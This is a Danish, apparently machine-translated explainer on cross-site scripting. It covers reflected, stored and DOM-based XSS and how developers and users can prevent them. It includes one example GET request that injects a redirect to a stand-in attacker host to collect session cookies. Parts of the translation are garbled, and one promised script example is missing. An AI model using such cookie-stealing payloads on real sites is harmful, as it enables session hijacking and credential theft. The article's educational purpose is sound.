Hvordan hackere bruger cross site scripting til at bryde websteder og stjæle data

Cross-site scripting eller XSS kan være et kraftigt og hurtigt angreb. Som udvikler kan du endda tage det efter en fejl i din kode og ende med at søge efter fejl, der ikke er der.

Som klient, der bruger det sårbare websted, kan du også uskyldigt videregive vigtige oplysninger om din godkendelsesadgang til angriberen.

Så hvad er cross-site scripting? Hvordan kan hackere bruge det til at bryde ind på et websted og stjæle dine data? Og hvordan kan du mindske en sådan risiko?

Hvad er scripting på tværs af websteder?

Cross-site scripting eller XSS sker, hvis script fra et ondsindet websted interagerer med kode på en sårbar.

Men servere er kablet på en måde, der forhindrer folk uden godkendelse i at få adgang til og redigere dit websteds kildekode.

Internettet bruger SOP (Same Origin Policy) til at blokere interaktioner på tværs af websteder. Imidlertid kontrollerer SOP tre store sikkerhedsmangler og forsøger at afbøde dem. De er:

• Internetprotokolpolitik, der kontrollerer, om begge websteder leverer indhold på sikker SSL (HTTPS) eller en usikker URL (HTTP).
instagram viewer
• Den samme politik for webhost, som sikrer, at du er vært for begge websteder på samme domæne.
• Havnepolitikken, der kontrollerer, om begge websteder bruger lignende kommunikationsendepunkter.

SOP hævder, at hvis nogen af ​​disse politikker er forskellige for to websteder, kan de ikke læse eller udveksle data via internettet.

Men JavaScript er et manipulerende sprog, der bestemmer et websteds lydhørhed. Mens JavaScript på dit websted sandsynligvis er i en separat fil, kan du også oprette et script-tag og skrive det i din Document Object Model (DOM).

Så en XSS-angriber kan tænke: "hvis du kan skrive JavaScript i en DOM, så i sidste ende kan du udføre den i enhver kode editor eller indtastningsfelt, der accepterer HTML-tags. "

En sådan sårbarhed og chance er, hvad en hacker, der bruger XSS, ser ud på på et målwebsted. Når de først har fundet et sådant smuthul, kan de omgå SOP.

Relaterede: The Ultimate JavaScript Cheat Sheet

XSS er derfor et angreb, som flykaprere bruger til at injicere et script, der udfører ondsindet handling på et sårbart websted. Scriptet kan målrette mod ubeskyttede formularer eller inputfelter, der accepterer data.

Sådan fungerer cross-site scripting og typer med eksempler

XSS kan være en hurtig udførelse af et reflekteret eller midlertidigt script, som en angriber placerer i formularer som søgefelter. Det kan også være en nagende eller vedvarende injiceret i databasen. Eller det kan komme passivt efter en sideindlæsning.

I nogle tilfælde kan dette script også ændre et offers oprindelige input for at omdirigere deres hensigt. En vedvarende ændring i en brugers input som denne er en muterende XSS.

Uanset hvilken form det kommer, er målet med et XSS-angreb at stjæle et offers data gennem udsatte cookies og logfiler.

Lad os se på en kort forklaring på hver af disse XSS-angrebstyper og deres eksempler for at forstå, hvad de er.

Hvad er en reflekteret XSS?

En reflekteret eller midlertidig XSS er en direkte indsprøjtning af JavaScript i en brugers inputfelt. Det retter sig mod anmodninger, der får data fra databasen, som søgeresultater. Men det er et angreb på én klient-mål.

Under en reflekteret XSS indsætter en angriber et script i søgeudtrykket for et måloffer. Sådan JavaScript kan være et ekko, en omdirigering eller en cookiesamler.

Scriptet, der injiceres i søgefeltet, udføres derefter, så snart en målklient sender deres forespørgsel.

F.eks. Kan en angriber under en brugers søgning indsætte et JavaScript, der ekko en formular og bede om, at offeret indtaster deres adgangskode eller brugernavn. Når brugeren først har gjort dette, kan de ende med at indsende deres legitimationsoplysninger ubevidst til en hacker og tro, at det er en anmodning fra det oprindelige websted.

Nogle gange kan angriberen også bruge et script til at omdirigere en bruger fra den sårbare side til deres side. Der på angriberens side kan en intetanende bruger derefter blive bedraget til at indsende et par formularer, hvilket fører til legitimationslækage.

Tilsvarende, hvis målet er at stjæle en brugers session, indsætter angriberen et cookiesamlingsscript i brugerens søgeudtryk. De kaprer derefter brugerens aktuelle session, stjæler relevante oplysninger og overtager ofrets aktiviteter.

Eksemplet på XSS-angreb nedenfor stjæler en brugers cookie via en GET-anmodning:

http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

I eksemplet XSS ovenfor finder angriberen et smuthul på det sårbare websted. Så når en bruger søger efter en utilgængelig ressource på det sårbare websted, omdirigerer den dem til angriberens side. Angriberen banker derefter på den aktuelle brugers cookie og griber deres session.

Denne sårbarhed er dog almindelig, når et websteds forespørgselshandling ikke filtreres for at kontrollere scriptinjektioner via HTML.

Men selvom der er en filtreret forespørgsel, kan en angriber omgå dette ved at ty til desperate foranstaltninger som at sende links til mulige realtidsbrugere af et websted. De kan gøre dette ved hjælp af enhver form for social engineering tilgængelige for dem.

Relaterede: Hvad skal man gøre efter at være faldet for et phishing-angreb

Når ofrene klikker på et sådant link, kan flykapreren nu med succes udføre XSS-angrebet og stjæle relevante data fra offeret.

Den vedvarende eller lagrede scripting på tværs af websteder

Den lagrede XSS udgør flere trusler. I dette tilfælde gemmer en hacker scriptet i en websides database, hvilket udløser en vedvarende udførelse af det lagrede script. Den gemte kode kan køre ved sideindlæsning eller efter sideindlæsning.

I modsætning til den midlertidige form for XSS målretter en lagret XSS mod hele brugerbasen på det sårbare websted. Derudover målretter det også integriteten på det berørte websted.

Under en vedvarende XSS bruger en hacker inputfelter såsom kommentarformularer til at sende scriptet i et websteds database.

Men hvad hvis du beskytter POST-felter med CSRF-tokens? Desværre omgår lagret cross-site-scripting CSRF-kontrol.

Det skyldes, at angriberen sender en formular som enhver anden bruger af hjemmesiden. Så en sådan kommentarformular sender scriptet til databasen, som det gør alle andre kommentarer.

Et sådant angreb kan ske, når inputfelter på et websted ikke bruger ordentlige desinfektionsmidler til at undslippe scripts og HTML-tags.

Forestil dig, at en bruger sender scriptet nedenfor ved hjælp af en webkommentarformular:

Når en hacker indsætter en sådan kode i en websides database, bliver den ved med at omdirigere et offer til angriberens websted ved sideindlæsning. Scriptet kan også være en alarm, en interaktiv modalboks eller en indlejret ondsindet annonce.

Fordi scriptet omdirigerer ved sideindlæsning, kan et offer, der ikke er bekendt med det sårbare websted, muligvis ikke mærke omdirigering.

De fortsætter derefter med at interagere med angriberens websted. Flykapreren kan dog derefter bruge flere måder til at få information fra ofrene, når de først er på deres webside.

Hvad er en DOM eller passiv XSS?

En DOM-baseret XSS udfører en ondsindet kode indlejret i hjemmesiden, hvilket tvinger hele DOM på klientsiden til at opføre sig usædvanligt.

Mens lagret og reflekteret XSS er målrettet mod serversiden på et websted, er en DOM XSS målrettet mod runtime-aktiviteter. Det fungerer ved at indsætte et script i et websteds komponent, der udfører en bestemt opgave. Denne komponent udfører ikke en serversides handling.

Imidlertid ændrer scriptet, der er indsat i en sådan komponent, sin hensigt fuldstændigt. Hvis denne komponent udfører en DOM-relateret opgave, såsom dem, der ændrer elementerne på et websted, kan scriptet tvinge hele websiden til at ændre sig.

I værre tilfælde kan en DOM-baseret XSS efterligne en fejl. Det skyldes, at websiden bliver usædvanlig reaktiv.

Sådan forhindres scriptingangreb på tværs af websteder

En XSS-sårbarhed kommer fra forkert brug af bedste backend-praksis. Så det er normalt udviklerens ansvar at forhindre et scriptingangreb på tværs af websteder. Men brugerne har også en rolle at spille.

Brug af et CSFR-token til inputfelter virker ikke som en løsning på XSS-angreb. Og da dette angreb også omgår samme oprindelsespolitik, skal udviklere være forsigtige med ikke at udelade sikkerhedspraksis, der forhindrer XSS.

Følgende forebyggende foranstaltninger er nyttige for udviklere.

Rens indgangsfelter

For at forhindre både lagret og midlertidig XSS skal du bruge effektive desinfektionsmidler til inputfelter. Sanering af søgeforespørgsler forhindrer f.eks. Taginjektion i brugernes søgeudtryk.

Brug Unicode og HTML Auto Escape

Det er nyttigt at bruge HTML og Unicode automatisk flugt for at forhindre inputfelter som kommentar- og konverteringsformularer i at acceptere scripts og HTML-tags. Auto escape er en potent forebyggende foranstaltning mod lagret eller vedvarende XSS.

At tillade brugere at indsætte tags i kommentarformularer er en dårlig idé for ethvert websted. Det er et sikkerhedsbrud. Men hvis du skal tillade det, skal du kun acceptere tags, der ikke udgør XSS-trusler.

Brug passende inputvalidering

Selvom du blokerer tags helt, kan en angriber stadig udføre et XSS-angreb på sociale måder. De kan sende e-mails i stedet for at placere noget direkte på det sårbare websted.

Så en anden metode til at forhindre det er at validere input effektivt. Sådanne foranstaltninger inkluderer validering af protokoller og sikring af, at dit websted kun accepterer input fra sikker HTTPS og ikke HTTP.

Brug af dedikerede JavaScript-biblioteker som dompurify kan også hjælpe med at blokere XSS-relaterede sikkerhedsbrud.

Du kan bruge værktøjer som f.eks XSS-scanner eller GEEKFLARE for at kontrollere XSS-sårbarheder på dit websted.

Hvordan brugere kan forhindre XSS

Der er millioner af hjemmesider på internettet i dag. Så du kan næppe fortælle, hvilken der har XSS-sikkerhedsproblemer.

Som bruger skal du dog sikre dig, at du er fortrolig med enhver webservice, inden du bruger den. Hvis en webside pludselig bliver uhyggelig eller begynder at opføre sig usædvanligt, kan dette være et rødt flag.

Uanset hvad der er tilfældet, skal du passe på ikke at videregive personlige data til en ikke-betroet tredjepart. Derefter skal du være på udkig efter uopfordrede e-mails eller mistænkelige indlæg på sociale medier, der kan resultere i nogen form for phishing-angreb.

Ingen enkelt forebyggende metode passer til alle

Vi har set, hvordan et XSS-angreb ser ud, og hvordan man forhindrer det. Det er let at glemme XSS sikkerhedskontrol under udvikling. Så udviklere bør tage skridt til at sikre, at beskyttelse ikke udelades. En kombination af de forebyggende foranstaltninger, som vi nævnte tidligere, fungerer dog bedre.

Hvad er CSRF-angreb, og hvordan kan du forhindre dem?

For at forhindre dig i at miste kontanter og legitimationsoplysninger i CSRF-angreb, har både udviklere og brugere en rolle at spille.

Om forfatteren